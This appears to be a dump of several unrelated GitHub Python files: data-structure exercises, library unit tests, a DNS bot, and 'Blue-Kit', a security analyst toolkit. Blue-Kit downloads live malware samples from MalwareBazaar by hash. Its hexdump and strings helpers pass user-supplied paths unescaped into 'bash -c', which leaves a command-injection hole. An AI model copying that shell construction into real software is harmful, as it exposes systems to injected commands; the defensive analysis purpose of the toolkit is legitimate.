embed.timestamp = estimated_release\n embed.set_footer(text='Estimate in your timezone')\n\n await ctx.send(embed=embed)\n\n\ndef setup(bot):\n bot.add_cog(Misc(bot))\n","repo_name":"s0hv/Not-a-bot","sub_path":"cogs/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":6276,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"78"} +{"seq_id":"29791281366","text":"class Node:\n def __init__(self, data):\n self.next = None\n self.data = data\n\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n self.length = 0\n\n def add_last(self, data):\n n = Node(data)\n if self.head is None: # List is empty\n self.head = n\n else: # Insert at the end of List\n last_node = self.return_last_node()\n last_node.next = n\n self.length += 1\n\n def delete_first(self):\n curr_node = self.head\n if curr_node is not None: # if list is not empty\n next_node = curr_node.next\n self.head = next_node\n self.length -= 1\n\n def return_last_node(self):\n curr_node = self.head\n cnt = 1\n while cnt < self.length:\n curr_node = curr_node.next\n cnt += 1\n return curr_node\n\n def display_data(self):\n curr_node = self.head\n cnt = 1\n while cnt <= self.length:\n print(curr_node.data)\n curr_node = curr_node.next\n cnt += 1\n\n\nclass Queue:\n def __init__(self, size):\n self.queue = LinkedList()\n self.maxsize = size\n\n def enqueue(self, d):\n if not self.is_full():\n self.queue.add_last(d)\n\n def dequeue(self):\n if not self.is_empty():\n self.queue.delete_first()\n\n def display_queue(self):\n self.queue.display_data()\n\n def is_empty(self):\n if self.queue.head is None:\n return True\n return False\n\n def is_full(self):\n if self.queue.length == self.maxsize:\n return True\n return False\n\n def peek_front(self):\n return self.queue.head.data\n\n\nif __name__ == \"__main__\":\n my_queue = Queue(5)\n my_queue.enqueue(5)\n my_queue.enqueue(15)\n my_queue.display_queue()\n print(\"\")\n my_queue.enqueue(25)\n my_queue.enqueue(35)\n my_queue.enqueue(45)\n my_queue.display_queue()\n print(\"\")\n my_queue.dequeue()\n my_queue.dequeue()\n\n my_queue.enqueue(55)\n my_queue.display_queue()\n print(\"\")\n print(my_queue.peek_front())\n print(my_queue.is_full())","repo_name":"oseikb/Data-Structures","sub_path":"LinkedQueue.py","file_name":"LinkedQueue.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34922050171","text":"# Напишите программу, которая принимает на вход число N и выдаёт последовательность из N членов. (умножаем на -3)\n# Пример:\n# Для N = 5: 1, -3, 9, -27, 81\n\nn = int(input(\"Введите чиcло N: \"))\nj = 1\nlist1 = []\nfor i in range(1, n + 1):\n list1.append(str(j))\n j *= -3\nprint(\", \".join(list1))\n\n# Справочно: \n# # способ вхождения количество элементов в список\n# my_list_1 = [2, 2, 5, 12, 8, 2, 12]\n\n# result = [] # результирующий список пока пустой\n\n# for number in my_list_1:\n# if my_list_1.count(number) == 1: #.count() - метод, который проверяет сколько раз\n# # число входит в список. Ex: Если входит 1 раз...\n# result.append(number) # добавляем в результирующий список\n\n# print(result)\n","repo_name":"IliyaDukhtanov/Python_HomeTasks","sub_path":"Seminar2/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25296299372","text":"# -*- coding: utf-8 -*-\nimport unittest\n\nfrom a3json_struct import struct, errors\n\n\nclass T(unittest.TestCase):\n\n def test__cast_to_python(self):\n class User(struct.JsonStruct):\n is_active = struct.BooleanField()\n\n user = User()\n\n # success\n for v in ['T', 'True', 'true', '1']:\n user.is_active = v\n user.full_clean()\n self.assertTrue(user.is_active)\n\n for v in ['F', 'False', 'false', '0']:\n user.is_active = v\n user.full_clean()\n self.assertFalse(user.is_active)\n\n # failed\n user.is_active = '-a1'\n with self.assertRaises(errors.ValidationError):\n user.full_clean()\n","repo_name":"three-kinds/a3json-struct","sub_path":"tests/test_fields/test_boolean_field.py","file_name":"test_boolean_field.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36551743504","text":"import dns\nimport dns.resolver\n\ndef dnscheck(userinput):\n global type\n global domain\n\n domain = userinput.split(\" \")[0]\n word_list = userinput.split()\n word_count = len(word_list)\n\n if word_count == 2:\n type = userinput.split(\" \")[1]\n output_list = []\n try:\n result = dns.resolver.resolve(domain, type)\n for ipval in result:\n output_list.append(str(type.upper( ) + \": \"+ipval.to_text()))\n final_output = ('\\n'.join([i for i in output_list[0:]]))\n return final_output\n\n except dns.resolver.NoAnswer:\n return \"No \"+ type.upper()+ \" record found for \"+ domain\n except dns.resolver.NXDOMAIN:\n return \"No such domain\"\n except dns.rdatatype.UnknownRdatatype:\n return \"DNS record type is unknown. Did you check /help ?\"\n\n else:\n return \"Looks like an unsupported syntax. Did you check /help ?\"\n","repo_name":"vyshnavlal/dnscheckerBot","sub_path":"dnscheck.py","file_name":"dnscheck.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43813882704","text":"import functools\nimport os\nfrom pathlib import Path\n\nfrom .. import FileBuilder\nfrom .. import FileComparison\nfrom .file_builder_test import FileBuilderTest\n\n\nclass MyDict(dict):\n pass\n\n\nclass MyList(list):\n pass\n\n\nclass MyTuple(tuple):\n pass\n\n\nclass MyStr(str):\n pass\n\n\nclass MyInt(int):\n pass\n\n\nclass MyFloat(float):\n pass\n\n\nclass ArgsTest(FileBuilderTest):\n \"\"\"Tests handling of arguments to subbuild and build file functions.\n\n Tests that ``FileBuilder`` correctly handles arguments to subbuild\n and build file functions.\n \"\"\"\n\n def _non_sanitized_value(self, part):\n \"\"\"Return a non-sanitized JSON value.\n\n Return a non-sanitized JSON value containing ``part`` as a\n component.\n \"\"\"\n my_dict = MyDict()\n my_dict['bar'] = 7\n my_list = MyList()\n my_list.append(True)\n my_list.append(False)\n return {\n 42: [\n part, my_dict, my_list, MyStr('abc'), MyInt(23), MyFloat(8.7),\n None, -4.8, float('inf'), -float('inf'), (1,), MyTuple()],\n 8: 3,\n '8': 3,\n float('inf'): None,\n None: 17,\n False: False,\n }\n\n def _assert_sanitized(self, value):\n \"\"\"Assert that the specified value is a sanitized JSON value.\"\"\"\n self.assertIn(\n value.__class__, (dict, list, str, int, float, bool, type(None)))\n if isinstance(value, dict):\n for key, subvalue in value.items():\n self.assertIs(str, key.__class__)\n self._assert_sanitized(subvalue)\n elif isinstance(value, list):\n for element in value:\n self._assert_sanitized(element)\n\n def _check_sanitized_value(self, value, expected_part):\n \"\"\"Check whether a value is sanitized from ``_non_sanitized_value``.\n\n Assert that ``value`` is a sanitized form of\n ``_non_sanitized_value(expected_part)``.\n \"\"\"\n expected = {\n '8': 3,\n '42': [\n expected_part, {'bar': 7}, [True, False], 'abc', 23, 8.7, None,\n -4.8, float('inf'), -float('inf'), [1], []],\n 'false': False,\n 'Infinity': None,\n 'null': 17,\n }\n self.assertEqual(expected, value)\n self._assert_sanitized(value)\n self.assertIs(True, value['42'][2][0])\n self.assertIs(False, value['42'][2][1])\n self.assertIs(int, value['42'][10][0].__class__)\n self.assertIs(False, value['false'])\n\n def _sanitized_build_file(\n self, builder, filename, cache_buster, value1, value2, keyword1,\n keyword2):\n \"\"\"Build file function for ``test_sanitized``.\"\"\"\n self._check_sanitized_value(value1, 21)\n self._check_sanitized_value(value2, 22)\n self._check_sanitized_value(keyword1, 23)\n self._check_sanitized_value(keyword2, 24)\n self._write(\n filename,\n \"# Build {:d}\\n\"\n 'text'.format(self._build_number))\n return self._non_sanitized_value(25)\n\n def _sanitized_subbuild(\n self, builder, cache_busters, value1, value2, keyword1, keyword2):\n \"\"\"Subbuild function for ``test_sanitized``.\"\"\"\n self._check_sanitized_value(value1, 11)\n self._check_sanitized_value(value2, 12)\n self._check_sanitized_value(keyword1, 13)\n self._check_sanitized_value(keyword2, 14)\n result = builder.build_file(\n os.path.join(self._temp_dir, 'Output.txt'), 'build_file',\n self._sanitized_build_file, cache_busters[1],\n self._non_sanitized_value(21), self._non_sanitized_value(22),\n keyword2=self._non_sanitized_value(24),\n keyword1=self._non_sanitized_value(23))\n self._check_sanitized_value(result, 25)\n return self._non_sanitized_value(15)\n\n def _sanitized_build(\n self, builder, cache_busters, value1, value2, keyword1, keyword2):\n \"\"\"Build function for ``test_sanitized``.\"\"\"\n self.assertEqual(set([7, MyStr()]), value1)\n values = set(value1)\n values.remove(7)\n self.assertEqual(MyStr, list(values)[0].__class__)\n self.assertEqual(self, value2)\n self.assertEqual(set(), keyword1)\n self.assertEqual('foo', keyword2)\n result = builder.subbuild(\n 'subbuild', self._sanitized_subbuild, cache_busters,\n self._non_sanitized_value(11), self._non_sanitized_value(12),\n keyword2=self._non_sanitized_value(14),\n keyword1=self._non_sanitized_value(13))\n self._check_sanitized_value(result, 15)\n return [set()]\n\n def test_sanitized(self):\n \"\"\"Test that ``FileBuilder`` sanitizes arguments.\n\n Test that ``FileBuilder`` sanitizes the arguments to build file\n and subbuild functions.\n \"\"\"\n self._build_number = 1\n result1 = FileBuilder.build(\n self._cache_filename, 'args_test', self._sanitized_build, [1, 1],\n set([7, MyStr()]), self, keyword2='foo', keyword1=set())\n\n self.assertEqual([set()], result1)\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'),\n \"# Build 1\\n\"\n 'text')\n\n self._build_number = 2\n result2 = FileBuilder.build(\n self._cache_filename, 'args_test', self._sanitized_build, [1, 1],\n set([7, MyStr()]), self, keyword2='foo', keyword1=set())\n\n self.assertEqual([set()], result2)\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'),\n \"# Build 1\\n\"\n 'text')\n\n self._build_number = 3\n result3 = FileBuilder.build(\n self._cache_filename, 'args_test', self._sanitized_build,\n [1, True], set([7, MyStr()]), self, keyword2='foo',\n keyword1=set())\n\n self.assertEqual([set()], result3)\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'),\n \"# Build 3\\n\"\n 'text')\n\n self._build_number = 4\n result4 = FileBuilder.build(\n self._cache_filename, 'args_test', self._sanitized_build, [2, 3],\n set([7, MyStr()]), self, keyword2='foo', keyword1=set())\n\n self.assertEqual([set()], result4)\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'),\n \"# Build 4\\n\"\n 'text')\n\n def _copy_build_file(self, builder, filename, value):\n \"\"\"Build file function for ``test_copy``.\"\"\"\n value.append(5)\n self._write(\n filename,\n \"# Build {:d}\\n\"\n 'text'.format(self._build_number))\n return value\n\n def _copy_subbuild(self, builder, value):\n \"\"\"Subbuild function for ``test_copy``.\"\"\"\n value.append(3)\n build_file_value = []\n result = builder.build_file(\n os.path.join(self._temp_dir, 'Output.txt'), 'build_file',\n self._copy_build_file, build_file_value)\n self.assertEqual([], build_file_value)\n build_file_value.append(4)\n self.assertEqual([5], result)\n self.assertIsNot(build_file_value, result)\n return value\n\n def _copy_build(self, builder, value):\n \"\"\"Build function for ``test_copy``.\"\"\"\n value.append(1)\n subbuild_value = []\n result = builder.subbuild(\n 'subbuild', self._copy_subbuild, subbuild_value)\n self.assertEqual([], subbuild_value)\n subbuild_value.append(2)\n self.assertEqual([3], result)\n self.assertIsNot(subbuild_value, result)\n return value\n\n def test_copy(self):\n \"\"\"Test that ``FileBuilder`` copies arguments.\n\n Test that ``FileBuilder`` copies the arguments to build file and\n subbuild functions.\n \"\"\"\n self._build_number = 1\n value1 = []\n result1 = FileBuilder.build(\n self._cache_filename, 'args_test', self._copy_build, value1)\n\n self.assertEqual([1], value1)\n value1.append(0)\n self.assertEqual([1, 0], result1)\n self.assertIs(value1, result1)\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'),\n \"# Build 1\\n\"\n 'text')\n\n self._build_number = 2\n value2 = []\n result2 = FileBuilder.build(\n self._cache_filename, 'args_test', self._copy_build, value2)\n\n self.assertEqual([1], value2)\n value2.append(0)\n self.assertEqual([1, 0], result2)\n self.assertIs(value2, result2)\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'),\n \"# Build 1\\n\"\n 'text')\n\n def _sanitize_filename_build_file(\n self, filename_type, builder, output_filename):\n \"\"\"Build file function for ``test_sanitize_filename``.\"\"\"\n self.assertEqual(\n os.path.join(self._temp_dir, 'Output.txt'), output_filename)\n self._write(\n output_filename,\n \"# Build {:d}\\n\"\n 'text'.format(self._build_number))\n\n filename = os.path.join(self._temp_dir, 'Foo.txt')\n dir_ = os.path.join(self._temp_dir, 'Bar')\n if filename_type == 2:\n filename = os.fsencode(self._try_rel_path(filename))\n dir_ = os.fsencode(self._try_rel_path(dir_))\n elif filename_type == 3:\n filename = Path(self._try_rel_path(filename))\n dir_ = Path(self._try_rel_path(dir_))\n elif filename_type != 1:\n raise ValueError('Unhandled filename type')\n\n # Add some junk to the cache entry for this function\n with builder.read_text(filename):\n pass\n with builder.read_binary(filename):\n pass\n self.assertTrue(builder.is_file(filename))\n self.assertTrue(builder.is_dir(dir_))\n self.assertTrue(builder.exists(filename))\n self.assertEqual(4, builder.get_size(filename))\n self.assertEqual([], builder.list_dir(dir_))\n self.assertEqual(\n [(os.path.join(self._temp_dir, 'Bar'), [], [])],\n builder.walk(dir_))\n self.assertEqual(\n [(os.path.join(self._temp_dir, 'Bar'), [], [])],\n builder.walk(dir_, False))\n\n def _sanitize_filename_build(\n self, filename_type, with_comparison, builder):\n \"\"\"Build function for ``test_sanitize_filename``.\"\"\"\n if filename_type == 1:\n filename = os.path.join(self._temp_dir, 'Output.txt')\n elif filename_type == 2:\n filename = os.fsencode(\n self._try_rel_path(os.path.join(self._temp_dir, 'Output.txt')))\n elif filename_type == 3:\n filename = Path(\n self._try_rel_path(os.path.join(self._temp_dir, 'Output.txt')))\n else:\n raise ValueError('Unhandled filename type')\n\n if with_comparison:\n builder.build_file_with_comparison(\n filename, FileComparison.METADATA, 'build_file',\n functools.partial(\n self._sanitize_filename_build_file, filename_type))\n else:\n builder.build_file(\n filename, 'build_file',\n functools.partial(\n self._sanitize_filename_build_file, filename_type))\n\n def test_sanitize_filename(self):\n \"\"\"Test that ``FileBuilder`` sanitizes filenames.\"\"\"\n self._build_number = 1\n self._write(os.path.join(self._temp_dir, 'Foo.txt'), 'text')\n os.mkdir(os.path.join(self._temp_dir, 'Bar'))\n FileBuilder.build(\n self._cache_filename, 'args_test',\n functools.partial(self._sanitize_filename_build, 1, False))\n\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'),\n \"# Build 1\\n\"\n 'text')\n\n self._build_number = 2\n FileBuilder.build(\n self._cache_filename, 'args_test',\n functools.partial(self._sanitize_filename_build, 2, True))\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'),\n \"# Build 1\\n\"\n 'text')\n\n self._build_number = 3\n FileBuilder.build(\n self._cache_filename, 'args_test',\n functools.partial(self._sanitize_filename_build, 3, False))\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'),\n \"# Build 1\\n\"\n 'text')\n\n def _custom_str_build_file(self, builder, filename):\n \"\"\"Build file function for ``test_custom_str``.\"\"\"\n self.assertEqual(str, filename.__class__)\n self._write(filename, 'text')\n return self._build_number\n\n def _custom_str_subbuild(self, builder):\n \"\"\"Subbuild function for ``test_custom_str``.\"\"\"\n result = builder.build_file(\n MyStr(os.path.join(self._temp_dir, 'Output.txt')),\n MyStr('build_file'), self._custom_str_build_file)\n return [self._build_number, result]\n\n def _custom_str_build(self, builder):\n \"\"\"Build function for ``test_custom_str``.\"\"\"\n result = builder.subbuild(MyStr('subbuild'), self._custom_str_subbuild)\n return [self._build_number] + result\n\n def test_custom_str(self):\n \"\"\"Test ``FileBuilder``'s behavior when passed subtypes of ``str``.\"\"\"\n self._build_number = 1\n result1 = FileBuilder.build(\n MyStr(self._cache_filename), MyStr('args_test'),\n self._custom_str_build)\n\n self.assertEqual([1, 1, 1], result1)\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'), 'text')\n\n self._build_number = 2\n result2 = FileBuilder.build(\n MyStr(self._cache_filename), MyStr('args_test'),\n self._custom_str_build)\n\n self.assertEqual([2, 1, 1], result2)\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'), 'text')\n\n self._build_number = 3\n os.remove(os.path.join(self._temp_dir, 'Output.txt'))\n result3 = FileBuilder.build(\n MyStr(self._cache_filename), MyStr('args_test'),\n self._custom_str_build)\n\n self.assertEqual([3, 3, 3], result3)\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'), 'text')\n\n self._build_number = 4\n result4 = FileBuilder.build_versioned(\n MyStr(self._cache_filename), MyStr('args_test'),\n {MyStr('subbuild'): MyStr('version2')}, self._custom_str_build)\n\n self.assertEqual([4, 4, 3], result4)\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'), 'text')\n\n self._build_number = 5\n result5 = FileBuilder.build_versioned(\n MyStr(self._cache_filename), MyStr('args_test'),\n {MyStr('subbuild'): MyStr('version2')}, self._custom_str_build)\n\n self.assertEqual([5, 4, 3], result5)\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'), 'text')\n\n self._build_number = 6\n result6 = FileBuilder.build_versioned(\n MyStr(self._cache_filename), MyStr('args_test'), {\n MyStr('subbuild'): MyStr('version2'),\n MyStr('build_file'): MyStr('version2')\n }, self._custom_str_build)\n\n self.assertEqual([6, 6, 6], result6)\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'), 'text')\n\n self._build_number = 7\n result7 = FileBuilder.build_versioned(\n MyStr(self._cache_filename), MyStr('args_test'), {\n MyStr('subbuild'): MyStr('version2'),\n MyStr('build_file'): MyStr('version2')\n }, self._custom_str_build)\n\n self.assertEqual([7, 6, 6], result7)\n self._check_contents(\n os.path.join(self._temp_dir, 'Output.txt'), 'text')\n\n FileBuilder.clean(MyStr(self._cache_filename), MyStr('args_test'))\n\n self.assertFalse(\n os.path.exists(os.path.join(self._temp_dir, 'Output.txt')))\n\n FileBuilder.clean(MyStr(self._cache_filename), MyStr('args_test'))\n\n self.assertFalse(\n os.path.exists(os.path.join(self._temp_dir, 'Output.txt')))\n","repo_name":"btrekkie/file-builder","sub_path":"file_builder/test/args_test.py","file_name":"args_test.py","file_ext":"py","file_size_in_byte":16315,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"36815691684","text":"import psutil\r\nimport subprocess\r\nimport csv\r\nimport hashlib\r\nimport click\r\nimport json\r\nimport pandas\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport os\r\nimport requests\r\nfrom rich.console import Console\r\nimport shodan\r\nimport re\r\nimport base64\r\nimport keyboard\r\nimport readline \r\nimport zipfile\r\nimport pyzipper\r\nimport binascii\r\nimport subprocess \r\n\r\n\r\nVIRUSTOTAL_API_KEY = \"YOUR_API_KEY\"\r\nSHODAN_API_KEY = \"YOUR_API_KEY\"\r\nABUSEIPDB_API_KEY =\"YOUR_API_KEY\"\r\n\r\nABUSEIPDB_URL = 'https://api.abuseipdb.com/api/v2/check'\r\nMALWARE_BAZAAR_API_ENDPOINT = \"https://mb-api.abuse.ch/api/v1/\"\r\n\r\ndef print_banner():\r\n # Function to print the tool banner\r\n console = Console()\r\n console.print(r\"\"\"\r\n ____ _ _ ___ _ \r\n| __ )| |_ _ ___| |/ (_) |_ \r\n| _ \\| | | | |/ _ \\ ' /| | __|\r\n| |_) | | |_| | __/ . \\| | |_ \r\n|____/|_|\\__,_|\\___|_|\\_\\_|\\__|\r\n\r\n _____________\r\n / __ /|\r\n / __/ /_ / /\r\n / /_ __/ / //\r\n / /_/ / //\r\n /_____________/ //\r\n |______&______|//\r\n |_____________|\r\n\r\n\r\n[*] Combination Of Tools For Daily Tasks Malware Analysts , SOC Analysts , Threat Hunters \r\n[*] This Tool Created By Zyad Elzyat \r\n\r\n \"\"\", style=\"bold cyan\")\r\n \r\n\r\n\r\ndef clear_terminal():\r\n # Function to clear the terminal screen\r\n os.system(\"clear\" if os.name == \"posix\" else \"cls\")\r\n \r\ncsv_columns = ['ipAddress', 'isPublic', 'ipVersion', 'isWhitelisted', 'abuseConfidenceScore',\r\n 'countryCode', 'usageType', 'isp', 'domain', 'hostnames', 'totalReports',\r\n 'numDistinctUsers', 'lastReportedAt', 'isTor']\r\n\r\ndef read_ip_addresses_from_csv(csv_file):\r\n try:\r\n df = pd.read_csv(csv_file)\r\n ip_addresses = df['IP'].tolist()\r\n return ip_addresses\r\n except Exception as e:\r\n print(\"Error reading CSV file:\", str(e))\r\n return []\r\n \r\ndef abuseipdb_check(ip_addresses, output_csv, output_json):\r\n results = []\r\n try:\r\n csv_columns = ['ipAddress', 'isPublic', 'ipVersion', 'isWhitelisted', 'abuseConfidenceScore',\r\n 'countryCode', 'usageType', 'isp', 'domain', 'hostnames', 'totalReports',\r\n 'numDistinctUsers', 'lastReportedAt', 'isTor']\r\n\r\n for ip_address in ip_addresses:\r\n parameters = {\r\n 'ipAddress': ip_address,\r\n 'maxAgeInDays': '90'\r\n }\r\n\r\n headers = {\r\n 'Accept': 'application/json',\r\n 'Key': ABUSEIPDB_API_KEY\r\n }\r\n\r\n response = requests.get(url=ABUSEIPDB_URL, headers=headers, params=parameters)\r\n json_data = json.loads(response.content)\r\n json_main = json_data[\"data\"]\r\n results.append(json_main)\r\n\r\n # Save results in CSV\r\n with open(output_csv, \"w\", newline='') as filecsv:\r\n writer = csv.DictWriter(filecsv, fieldnames=csv_columns)\r\n writer.writeheader()\r\n for result in results:\r\n writer.writerow(result)\r\n\r\n # Save results in JSON\r\n with open(output_json, \"w\") as json_file:\r\n json.dump(results, json_file, indent=4)\r\n\r\n print(f\"AbuseIPDB check completed for {len(ip_addresses)} IP addresses. Results saved to {output_csv} and {output_json}\")\r\n except Exception as e:\r\n print(\"An error occurred:\", str(e))\r\ndef query_virustotal(resource):\r\n # Function to query VirusTotal API and return the response\r\n url = f\"https://www.virustotal.com/api/v3/files/{resource}\"\r\n headers = {\"x-apikey\": VIRUSTOTAL_API_KEY}\r\n response = requests.get(url, headers=headers)\r\n return response.json()\r\n \r\n\r\ndef query_shodan(ip_address):\r\n # Function to query Shodan API and return the response\r\n api = shodan.Shodan(SHODAN_API_KEY)\r\n try:\r\n result = api.host(ip_address)\r\n return result\r\n except shodan.APIError as e:\r\n print(\"Shodan Error:\", e)\r\n return None\r\n \r\n\r\n\r\ndef check_and_decode_base64_in_file(file_path, output_file):\r\n with open(file_path, 'rb') as file:\r\n content = file.read()\r\n\r\n try:\r\n decoded_content = base64.b64decode(content)\r\n decoded_text = decoded_content.decode('utf-8') # Assuming the content is text\r\n\r\n with open(output_file, 'w') as output_file:\r\n output_file.write(decoded_text)\r\n \r\n return \"Base64 content decoded and saved correctly\"\r\n except base64.binascii.Error:\r\n return \"No Base64 encoded content found in the file.\"\r\n \r\n\r\ndef download_sample(sha256_hash):\r\n url = MALWARE_BAZAAR_API_ENDPOINT\r\n data = {\r\n \"query\": \"get_file\",\r\n \"sha256_hash\": sha256_hash\r\n }\r\n \r\n response = requests.post(url, data=data)\r\n if response.status_code == 200:\r\n file_content = response.content\r\n file_name = f\"{sha256_hash}.zip\"\r\n \r\n with open(file_name, \"wb\") as f:\r\n f.write(file_content)\r\n \r\n print(f\"Sample downloaded and saved as {file_name}\")\r\n else:\r\n print(\"Sample download failed\")\r\n \r\n \r\ndef save_output(filename, data, output_format=\"json\"):\r\n # Function to save the output in CSV, JSON, or PNG format\r\n if output_format == \"json\":\r\n with open(filename + \".json\", \"w\") as f:\r\n json.dump(data, f, indent=4)\r\n print(\"JSON Output saved to\", filename + \".json\")\r\n\r\n elif output_format == \"csv\":\r\n if \"data\" in data and \"attributes\" in data[\"data\"]:\r\n attributes = data[\"data\"][\"attributes\"]\r\n if \"last_analysis_stats\" in attributes:\r\n stats = attributes[\"last_analysis_stats\"]\r\n if \"malicious\" in stats and \"undetected\" in stats:\r\n total_scans = stats[\"malicious\"] + stats[\"undetected\"]\r\n else:\r\n total_scans = 0\r\n else:\r\n total_scans = 0\r\n else:\r\n total_scans = 0\r\n\r\n if \"data\" in data and \"attributes\" in data[\"data\"]:\r\n attributes = data[\"data\"][\"attributes\"]\r\n if \"last_analysis_results\" in attributes:\r\n results = attributes[\"last_analysis_results\"]\r\n else:\r\n results = {}\r\n else:\r\n results = {}\r\n\r\n df = pd.DataFrame(results).T\r\n df[\"Malicious\"] = df[\"category\"].apply(lambda x: 1 if x == \"malicious\" else 0)\r\n df.to_csv(filename + \".csv\", index=False)\r\n print(f\"CSV Output saved to {filename}.csv. Total Scans: {total_scans}, Malicious: {df['Malicious'].sum()}\")\r\n return df\r\n \r\ndef hex_editor(file_path):\r\n try:\r\n output_file = file_path + \"_hex_dump.txt\"\r\n hex_command = f\"hexdump -C {file_path} > {output_file}\"\r\n \r\n subprocess.run([\"bash\", \"-c\", hex_command])\r\n \r\n print(f\"Hex dump saved to {output_file}\")\r\n except FileNotFoundError:\r\n print(\"File not found\")\r\n \r\ndef extract_strings_from_file(file_path):\r\n try:\r\n output_file = file_path + \"_strings.txt\"\r\n strings_command = f\"strings {file_path} > {output_file}\"\r\n \r\n subprocess.run([\"bash\", \"-c\", strings_command])\r\n \r\n print(f\"Strings extracted and saved to {output_file}\")\r\n except FileNotFoundError:\r\n print(\"File not found\")\r\n\r\ndef calculate_file_hashes(file_path):\r\n try:\r\n with open(file_path, \"rb\") as file:\r\n content = file.read()\r\n hash_md5 = hashlib.md5(content).hexdigest()\r\n hash_sha1 = hashlib.sha1(content).hexdigest()\r\n hash_sha256 = hashlib.sha256(content).hexdigest()\r\n\r\n return hash_md5, hash_sha1, hash_sha256\r\n\r\n except FileNotFoundError:\r\n print(\"File not found\")\r\n\r\ndef save_hashes_to_file(file_path, hashes):\r\n with open(file_path, \"w\") as file:\r\n file.write(\"MD5 Hash: \" + hashes[0] + \"\\n\")\r\n file.write(\"SHA-1 Hash: \" + hashes[1] + \"\\n\")\r\n file.write(\"SHA-256 Hash: \" + hashes[2] + \"\\n\")\r\n \r\n \r\ndef print_options():\r\n print(\"Choose an option:\")\r\n print(\"-----------------\")\r\n print(\"[1]. Perform VirusTotal Query\")\r\n print(\"[2]. Perform Shodan Query\")\r\n print(\"[3]. AbuseAbuseIPDB\")\r\n print(\"[4]. Calculate File Hash\")\r\n print(\"[5]. Extract Strings from File\")\r\n print(\"[6]. Decode Base64\")\r\n print(\"[7]. Check Magic Number Using Hex Editor\")\r\n print(\"[8]. MalwareBazzar Password IS >> infected\")\r\n print(\"[0]. Exit\")\r\n \r\n\r\n\r\ndef cli():\r\n clear_terminal()\r\n print_banner()\r\n\r\n while True:\r\n print_options()\r\n choice = input(\"Enter your choice: \")\r\n\r\n if choice == '0':\r\n break\r\n\r\n if choice == '1':\r\n query = input(\"Enter Hash or IP or Domain or URL: \")\r\n result_virustotal = query_virustotal(query)\r\n if \"error\" in result_virustotal:\r\n print(\"VirusTotal Error:\", result_virustotal[\"error\"][\"message\"])\r\n else:\r\n save_output(\"virustotal_output\", result_virustotal, \"csv\")\r\n save_output(\"virustotal_output\", result_virustotal, \"json\")\r\n\r\n elif choice == '2':\r\n query = input(\"Enter IP: \")\r\n result_shodan = query_shodan(query)\r\n if result_shodan is not None:\r\n save_output(\"shodan_output\", result_shodan, \"json\")\r\n \r\n elif choice == '3':\r\n input_type = input(\"Enter '1' to enter IP addresses manually or '2' to provide a CSV file: \")\r\n if input_type == '1':\r\n ip_addresses = input(\"Enter a comma-separated list of IP addresses to scan or one IP: \").split(',')\r\n elif input_type == '2':\r\n csv_file = input(\"Enter the path to the CSV file containing IP addresses: \")\r\n ip_addresses = read_ip_addresses_from_csv(csv_file)\r\n else:\r\n print(\"Invalid input type.\")\r\n continue\r\n\r\n output_csv = input(\"Enter the output CSV file name: \")\r\n output_json = input(\"Enter the output JSON file name: \")\r\n abuseipdb_check(ip_addresses, output_csv, output_json)\r\n \r\n elif choice == '4':\r\n file_path = input(\"Enter the path to the file you want to calculate hashes for: \")\r\n file_path = file_path.strip()\r\n hashes = calculate_file_hashes(file_path)\r\n\r\n print(\"MD5 Hash:\", hashes[0])\r\n print(\"SHA-1 Hash:\", hashes[1])\r\n print(\"SHA-256 Hash:\", hashes[2])\r\n\r\n save_hashes = input(\"Do you want to save the hashes to a file? (y/n): \")\r\n if save_hashes.lower() == 'y':\r\n output_file = input(\"Enter the name of the output file: \")\r\n save_hashes_to_file(output_file, hashes)\r\n print(\"Hashes saved to\", output_file) \r\n \r\n elif choice == '5':\r\n file_path = input(\"Enter the path to the file you want to extract strings from: \")\r\n file_path = file_path.strip()\r\n extract_strings_from_file(file_path)\r\n\r\n \r\n \r\n elif choice == '6':\r\n file_path = input(\"Enter the path to the file you want to check: \")\r\n file_path = file_path.strip()\r\n\r\n output_file = input(\"Enter the output file name to save the decoded content: \")\r\n decoded_result = check_and_decode_base64_in_file(file_path, output_file)\r\n print(decoded_result)\r\n\r\n \r\n elif choice == '7':\r\n file_path = input(\"Enter the path to the file you want to edit in hex: \")\r\n file_path = file_path.strip()\r\n hex_editor(file_path)\r\n \r\n\r\n elif choice == '8':\r\n sha256_hash = input(\"Enter the SHA-256 hash of the sample: \")\r\n download_sample(sha256_hash)\r\n\r\n \r\n elif choice == '-':\r\n continue # This will continue to the next iteration of the loop\r\n else:\r\n print(\"Invalid choice. Please choose a valid option.\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n cli()\r\n","repo_name":"zyadelzyat/Blue-Kit","sub_path":"Blue-Kit.py","file_name":"Blue-Kit.py","file_ext":"py","file_size_in_byte":12224,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} 